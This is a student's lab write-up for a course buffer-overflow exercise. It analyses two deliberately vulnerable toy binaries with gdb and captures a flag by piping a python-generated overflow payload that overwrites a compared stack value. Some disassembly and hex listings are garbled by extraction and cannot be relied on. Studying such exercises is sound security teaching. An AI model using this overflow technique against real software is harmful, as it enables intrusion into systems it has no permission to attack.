Super Duper Joke Attack()

Paul D. Camarata 1 August 2018

Abstract

The most exciting phrase to hear in science, the one that heralds new discoveries, is not 'Eureka!' (I've found it!), but 'That's funny...' -Isaac Asimov.

1 Introduction

The purpose of this exploitation project was to gain a better understanding of how to recognize and take advantage of a buffer overflow vulnerability. It is broken apart into two sections. The primary section is dedicated to identifying and exploiting a very basic overflow vulnerability. The second section is the extra credit portion. Based on the samples given throughout the week, and made available to us via a web tutorial, the actual execution was extremely simple. The overall objective is to capture the flag, Nice job! Teacher, give this student an A. located in the binary.

2 Part I: The Assignment

Part I, the assignment portion, presented us with one, basic, file, tellMeAJoke. The images included are here to reference the work that was done locally. The assignment is broken apart into three logical sections. First we will do a quick review of the file by itself, static analysis. Secondly, we will beging executing and debugging the file, dynamic analysis.

2.1 Static Analysis: Pre-Debugger

Figure 1 is a reference to running the 'file' command. The goal here is to understand what we are working with, and in what architecture a dynamic analysis will work.

```
[camarata.sa@pc-cent HW2]$ file tellMeAJoke
tellMeAJoke: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dyn
amically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=af
d813005f0c95ebf37d1d1fc655536b2625f04d, not stripped
```

Figure 1: file

Our target is the flag. Since we know it is a string in the file, we will do a quick dump of the strings to see if there is any additional information we can infer.

Figure 2: strings

We can see that our flag does exist in the file and we can even see some additional strings that we might expect to find as we begin executing the file.

2.2 Static Analysis: Debugger

It is now time to fire up the debugger. We are intentionally using gdb here vice any of the alternative debuggers.



Figure 3: gdb

First things first, we are going to set our assembly flavor. We've only been practicing intel based architecture in class so that is what we will use.



Figure 4: flavor

We are going to assume that the program is a compiled C program and attempt to disassemble the main() function. If this assumption was false, there would be some additional preamble that we would attempt here.

```
Oump of assembler code
0x0804859b <+0>:
                                   ecx,[esp+0x4]
esp,0xfffffff0
                           lea
  0x0804859f <+4>:
                           and
  0x080485a2 <+7>:
                                   DWORD PTR [ecx-0x4]
  0x080485a5 <+10>:
  0x080485a6 <+11>:
                                    ebp,esp
  0x080485a8 <+13>:
  0x080485a9 <+14>:
                           sub
  0x080485ac <+17>:
                                   esp,0xc
0xcafebabe
                           sub
  0x080485af <+20>:
  0x080485b4 <+25>:
                                    0x80484ab <tellAFunnyJoke>
  0x080485b9 <+30>:
                                    esp,0x10
  0x080485bc <+33>:
                                    eax,0x0
                                    ecx,DWORD PTR [ebp-0x4]
  0x080485c1 <+38>:
0x080485c4 <+41>:
                           mov
                           leave
  0x080485c5 <+42>:
                                    esp,[ecx-0x4]
                           lea
  0x080485c8
```

Figure 5: disassemble main

There is very little of note here. The only thing that points us in any direction is a call to another function called tellAFunnyJoke(). Now we disassemble this function.

```
esp,0x10
DWORD PTR [ebp+0x8],0xcafebabe
0x8048526 <tellAFunnyJoke+123>
0x080484de <+51>:
                          add
0x080484e1 <+54>:
0x080484e8 <+61>:
0x080484ea <+63>:
                                   esp,0xc
0x8048690
                          sub
0x080484ed <+66>:
                          push
0x080484f2 <+71>:
0x080484f7 <+76>:
                                    0x8048380
                                                <puts@plt>
                                    esp,0x10
0x080484fa <+79>
                                    esp,0xc
                          push
call
0x080484fd <+82>
                                    0x2
                                   0x8048360 <sleep@plt>
0x080484ff <+84>:
0x08048504 <+89>:
                                   esp,0x10
esp,0xc
0x80486d7
                          add
0x08048507 <+92>:
                          sub
0x0804850a <+95>:
                          push
0x0804850f <+100>
                                    0x8048380
                                                <puts@plt>
0x08048514 <+105>
                           add
                                    esp,0x10
0x08048517 <+108>:
0x0804851a <+111>:
0x0804851c <+113>:
                                    esp,0xc
                          push
call
                                    0x2
                                    0x8048360 <sleep@plt>
0x08048521 <+118>:
                                    esp,0x10
                          jmp
cmp
9x08048524
                                                <tellAFunnyJoke+221>
0x08048526
                                    DWORD PTR [ebp+0x8],0xdeadbeef
0x0804852d
                                    0x804856b
                                                 <tellAFunnyJoke+192
```

Figure 6: disassemble tellAFunnyJoke

The output has been substantially truncated and only a relevant section is presented. Basically here we see that there is a call for input and then two potential jumps (jne) based on compares (cmp) to a couple of hex values. Based on the examples, these are the most likely locations for our flag to be found. A quick examination of the jump locations will likely lead us to our string. Our first goal is to examine these memory locations using gdb.

| (gdb) x/64xb | 0x8048690 | | | | | | | |
|--------------|-----------|------|------|------|------|------|------|------|
| 0x8048690: | 0x0a | 0x0a | 0x4e | 0x6f | 0×74 | 0x20 | 0x6f | 0x6e |
| 0x8048698: | 0x6c | 0x79 | 0x20 | 0x69 | 0x73 | 0x20 | 0x74 | 0x68 |
| 0x80486a0: | 0x61 | 0x74 | 0×20 | 0x6e | 0x6f | 0x74 | 0x20 | 0x66 |
| 0x80486a8: | 0x75 | 0x6e | 0x6e | 0x79 | 0x2c | 0x20 | 0x62 | 0x75 |
| 0x80486b0: | 0×74 | 0×20 | 0x79 | 0x6f | 0x75 | 0x20 | 0x68 | 0x61 |
| 0x80486b8: | 0x76 | 0x65 | 0x20 | 0x6e | 0x6f | 0x74 | 0×20 | 0×70 |
| 0x80486c0: | 0×61 | 0x73 | 0x73 | 0x65 | 0×64 | 0×20 | 0×74 | 0x68 |
| 0x80486c8: | 0x69 | 0x73 | 0x20 | 0x74 | 0x65 | 0x73 | 0x74 | 0x2c |

Figure 7: x/64xb 0x8048690

If we were to present the hex value of 0xcafebabe to this compare, then we would print the information available at this location. A quick hex to ascii conversion shows us that this location contains "Not only is that not funny, but you have not passed this test," which is not our desired flag. Time to check out our second potential compare.

| (gdb) x/64xb | 0x80486e8 | | | | | | | |
|--------------|-----------|------|------|------|------|------|------|------|
| 0x80486e8: | 0x0a | 0x0a | 0x09 | 0x42 | 0x65 | 0x63 | 0x61 | 0x75 |
| 0x80486f0: | 0x73 | 0x65 | 0x20 | 0x69 | 0x74 | 0x27 | 0x73 | 0x20 |
| 0x80486f8: | 0x61 | 0x20 | 0×74 | 0x6f | 0×74 | 0x61 | 0x6c | 0x20 |
| 0x8048700: | 0x72 | 0x69 | 0×70 | 0x2d | 0x6f | 0x66 | 0x66 | 0x21 |
| 0x8048708: | 0x21 | 0x21 | 0×21 | 0x21 | 0x0a | 0×00 | 0×00 | 0×00 |
| 0x8048710: | 0x09 | 0x09 | 0x4e | 0x69 | 0x63 | 0x65 | 0x20 | 0x6a |
| 0x8048718: | 0x6f | 0x62 | 0×21 | 0x20 | 0x54 | 0x65 | 0x61 | 0x63 |
| 0x8048720: | 0x68 | 0x65 | 0x72 | 0x2c | 0x20 | 0x67 | 0x69 | 0x76 |

Figure 8: $x/64xb \ 0x8048690$

Here we see what would potentially be output if we instead presented the hex value of 0xdeadbeef. Doing another hex to ascii conversion, we are presented with "Because it's a total rip-off!!!!!" and "Nice job! Teacher, giv." Voila, we have found the desired location in memory to capture our flag. The only thing left to do is to manipulate the program to get us there.

2.3 Dynamic Analysis

Since we downloaded this file from the internet, we will need to add the executable bit to make it runnable.

[camarata.sa@pc-cent HW2]\$ chmod +x tellMeAJoke

Figure 9: chmod + x

We need to figure out how much data we can pump into the buffer and then how much we need to overflow to force the program to jump where we want. First things first, we set out break point to examine the stack at the desired location.



Figure 10: b *0x080484e8

Here we are setting a break just after the first compare and before the jump. History has shown us that the gets() call is overflowable. Once we set our break point, it is time to execute our program.

```
(gdb) run <<< $(python -c "print '\x41'*40")
Starting program: /home/camarata.sa/Documents/CYBR/CYBR-570/git/HW2/tellMeAJoke <<< $(python -c "print '\x41'*40")
Why shouldn't you buy anything with velcro?
Breakpoint 1, 0x080484e8 in tellAFunnyJoke ()
```

Figure 11: run

Here we are executing the program and inserting 40 hex values of 0x41, or A in ascii. The goal is to pad our stack to see how we are manipulating it easily. The application runs until we hit our break point, and it is time to examine the stack.

| (gdb) x/128bx | \$esp | | | | | | | |
|---------------|-------|---------------|------|------|------|------|------|------|
| 0xffffcf40: | 0×00 | 0×00 | 0×00 | 0×00 | 0xbc | 0xcf | 0xff | 0×41 |
| 0xffffcf48: | 0×41 | 0×41 | 0×41 | 0×41 | 0×41 | 0×41 | 0×41 | 0×41 |
| 0xffffcf50: | 0×41 | 0×41 | 0×41 | 0×41 | 0×41 | 0×41 | 0×41 | 0×41 |
| 0xffffcf58: | 0×41 | 0×41 | 0×41 | 0x41 | 0x41 | 0x41 | 0×41 | 0×41 |
| 0xffffcf60: | 0×41 | 0×41 | 0×41 | 0x41 | 0x41 | 0x41 | 0x41 | 0×41 |
| 0xffffcf68: | 0×41 | 0×41 | 0×41 | 0x41 | 0x41 | 0x41 | 0x41 | 0×00 |
| 0xffffcf70: | 0×01 | 0×00 | 0×00 | 0×00 | 0×00 | 0×00 | 0×00 | 0×00 |
| 0xffffcf78: | 0×01 | 0×00 | 0×00 | 0×00 | 0×00 | 0xd9 | 0xff | 0xf7 |
| 0xffffcf80: | 0×10 | 0×12 | 0xe9 | 0xf7 | 0xc2 | 0×00 | 0×00 | 0×00 |
| 0xffffcf88: | 0x3f | 0×00 | 0xc0 | 0×04 | 0x09 | 0×00 | 0×00 | 0×00 |
| 0xffffcf90: | 0×00 | 0×00 | 0×00 | 0×00 | 0×00 | 0×00 | 0×00 | 0×00 |
| 0xffffcf98: | 0x76 | 0×00 | 0×00 | 0×00 | 0×00 | 0×00 | 0×00 | 0×00 |
| 0xffffcfa0: | 0×44 | 0xd0 | 0xff | 0xff | 0×00 | 0×00 | 0×00 | 0×00 |
| 0xffffcfa8: | 0xc8 | 0xcf | 0xff | 0xff | 0×00 | 0×00 | 0×00 | 0×00 |
| 0xffffcfb0: | 0x67 | 0x82 | 0×04 | 0x08 | 0×00 | 0xd9 | 0xff | 0xf7 |
| 0xffffcfb8: | 0xc2 | 0x00 | 0×00 | 0x00 | 0x43 | 0x67 | 0xe2 | 0xf7 |
| (adb) | | | | | | | | |

Figure 12: stack

Here we are examining 128 bytes in hex of the stack. We can easily see our inserted hex values. The key thing to note here is that it starts at 0xffffcf47. Now we need to see if there is any additional information in our registers of note.

Figure 13: registers

Specifically we are looking at the ebp register. If you recall Figure 6, we see that it is comparing our static hex value 0xdeadbeef to what is contained in ebp + 0x08. Our ebp is located at 0xffffcfd8 and is exactly 0x90 or 145 bytes away. If we add the 8 additional bytes, then we are an even 153 bytes until we start to overwrite our desired memory space. The last step is to attack the application to capture the flag. One last note, is that we are utilizing a stack in Little Endian format. Mentioning this should become more clear when presented with the attack.

```
[camarata.sa@pc-cent HW2]$ python -c "print '\x41'*153+'\xef\xbe\xad\xde'" | ./tellMeAJoke
Why shouldn't you buy anything with velcro?

Because it's a total rip-off!!!!!

Nice job! Teacher, give this student an A.
*** stack smashing detected ***: ./tellMeAJoke terminated
Segmentation fault
```

Figure 14: Flag!

We've done it. The flag has been captured!

3 Part II: Extra Credit

Rather than run through all the exact same steps that were completed in the assignment, this portion will focus more on the additional steps that were required to get to the flag.

First we dump the strings to see if we can't identify what we are looking for.

```
ce2 Why did the can crusher quit his job?
d0e Not only is that not funny, but you have not passed this test, yet!
d54 Keep trying!!
d6a Because it was soda pressing!!!!
d90 Nice job! You've found the right answer!!! Teacher, give this student an A.
```

Figure 15: strings

Then we disassemble the main() function. This shows us that a function called handle_connection() is called.

```
0x08048a0f <+708>: call 0x8048a9e <handle_connection>
```

Figure 16: disassemble main()

We disassemble the handle_connection() function. The only relevant thing we see here is that another function called work_connection() is called.

```
0x08048ae3 <+69>: call 0x8048aff <work_connection>
```

Figure 17: disassemble handle_connection()

In work connection we see that the programs is using the gets() call and we see that there are quite a few compares and jumps. If we follow the same process as before, we can identify that 0xbas5eball leads us to the correct result.

```
0x08048ba6 <+167>: cmp DWORD PTR [ebp+0x8],0xba5eball
```

Figure 18: disassemble work_connection()

There are two major steps remaining and they are both dynamic analysis. First discover how to manipulate the program. Second identify the length of the buffer. I figured that based on the name of the application 'serveMeAJoke' implied that we were running a server of some sort. The most typical way to setup a server is to have a TCP socket bound to the system. I ran 'netstat -anp—grep serve' to see if the process created a port binding.

```
[camarata.sa@pc-cent Downloads]$ netstat -anp | grep serve
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
tcp 0 0 0.0.0.0:8181 0.0.0.0:* LISTEN 13482/./serveMeAJok
```

Figure 19: netstat

As we can see above, the application is binding to port 8181. The next step was to test an interaction with the server. Here we use netcat to create a raw tcp connection to the socket.

```
[camarata.sa@pc-cent Downloads]$ nc localhost 8181
Why did the can crusher quit his job?
Hi
Not only is that not funny, but you have not passed this test, yet!
    Keep trying!!
5670: Done.
```

Figure 20: netcat

Success. We are prompted with a question upon connecting. It accepted my input of 'Hi' and returned me a response that is obviously not the flag I am hoping for.

Once I started executing the program, I was having issues accessing the correct memory space. I set an initial breakpoint after my first compare in the work_connection() function, but I was failing to hit the break point. Reading into the code further, I discovered that the program was calling a fork, implying that it was spawning another process for the handle_connection() function. A little research later, and I discovered that gdb has a mechanism for handling this.

```
(gdb) set follow-fork-mode child
```

Figure 21: fork

Now that I have instructed the debugger to follow the child process, I hit my break and I can review the stack and registers.

| (gdb) x/128xb | \$esp | | | | | | | |
|----------------------|-------|---------------|------|---------------|------|------|------|---------------|
| 0xffffca90: | 0×00 | 0×00 | 0×00 | 0×00 | 0×41 | 0×41 | 0×41 | 0×41 |
| 0xffffca98: | 0×41 | 0×41 | 0×41 | 0×41 | 0×41 | 0×41 | 0×41 | 0×41 |
| 0xffffcaa0: | 0×41 | 0×41 | 0×41 | 0×41 | 0×41 | 0×41 | 0×41 | 0×41 |
| 0xffffcaa8: | 0×41 | 0×41 | 0×41 | 0×41 | 0×41 | 0×41 | 0×41 | 0×41 |
| 0xffffcab0: | 0×41 | 0×41 | 0×41 | 0×41 | 0×41 | 0×41 | 0×41 | 0×41 |
| 0xffffcab8: | 0×41 | 0×41 | 0×41 | 0×41 | 0×00 | 0×71 | 0xe5 | 0×16 |
| 0xffffcac0: | 0×00 | 0×00 | 0×00 | 0×00 | 0×00 | 0×00 | 0×00 | 0×00 |
| 0xffffcac8: | 0xf8 | 0xce | 0xff | 0xff | 0xe8 | 0x8a | 0×04 | 0×08 |
| 0xffffcad0: | 0xbe | 0xba | 0xfe | 0xca | 0×00 | 0×00 | 0×00 | 0×00 |
| 0xffffcad8: | 0×00 | 0×00 | 0×00 | 0×00 | 0×00 | 0×00 | 0×00 | 0×00 |
| 0xffffcae0: | 0×00 | 0×00 | 0×00 | 0×00 | 0×00 | 0×00 | 0×00 | 0×00 |
| 0xffffcae8: | 0×00 | 0×00 | 0×00 | 0×00 | 0×00 | 0×00 | 0×00 | 0×00 |
| 0xffffcaf0: | 0×00 | 0×00 | 0×00 | 0×00 | 0×00 | 0×00 | 0×00 | 0×00 |
| 0xffffcaf8: | 0×00 | 0×00 | 0×00 | 0×00 | 0×00 | 0×00 | 0×00 | 0×00 |
| 0xffffcb00: | 0×00 | 0×00 | 0×00 | 0×00 | 0×00 | 0×00 | 0×00 | 0×00 |
| 0xffff <u>c</u> b08: | 0×00 | 0×00 | 0×00 | 0×00 | 0×00 | 0×00 | 0×00 | 0×00 |

Figure 22: stack

Here we see that my hex insert begins as 0xffffca94.



Figure 23: ebp

Here we see that ebp is located at 0xffffcac8. Simple hex math tells me that we are 0x34 hex or 52 decimal apart. My compare is going to compare the hex value with what is contained at ebp + 8. This means that we need to begin inserting our attack 60 bytes into our input in little endian format.



Figure 24: attack

We run our attack and Voila. We have successfully captured the flag!

4 Conclusion

In conclusion, I think this was an interesting exploitation project. I would definitely be interested in a project that dives a bit deeper. I felt that with the examples presented in class it was impossible to not be able to complete the steps needed to exploit these applications. The extra credit did require a bit more knowledge about how to manipulate a linux system to get information about how the application is running, but I think the class should be capable of more complex disassembly.

References

[1] Abraham Silberschatz, Peter Baer Galvin, Greg Gagne $\it Operating~System~Concepts$ John Wiley & Sons Inc. 2018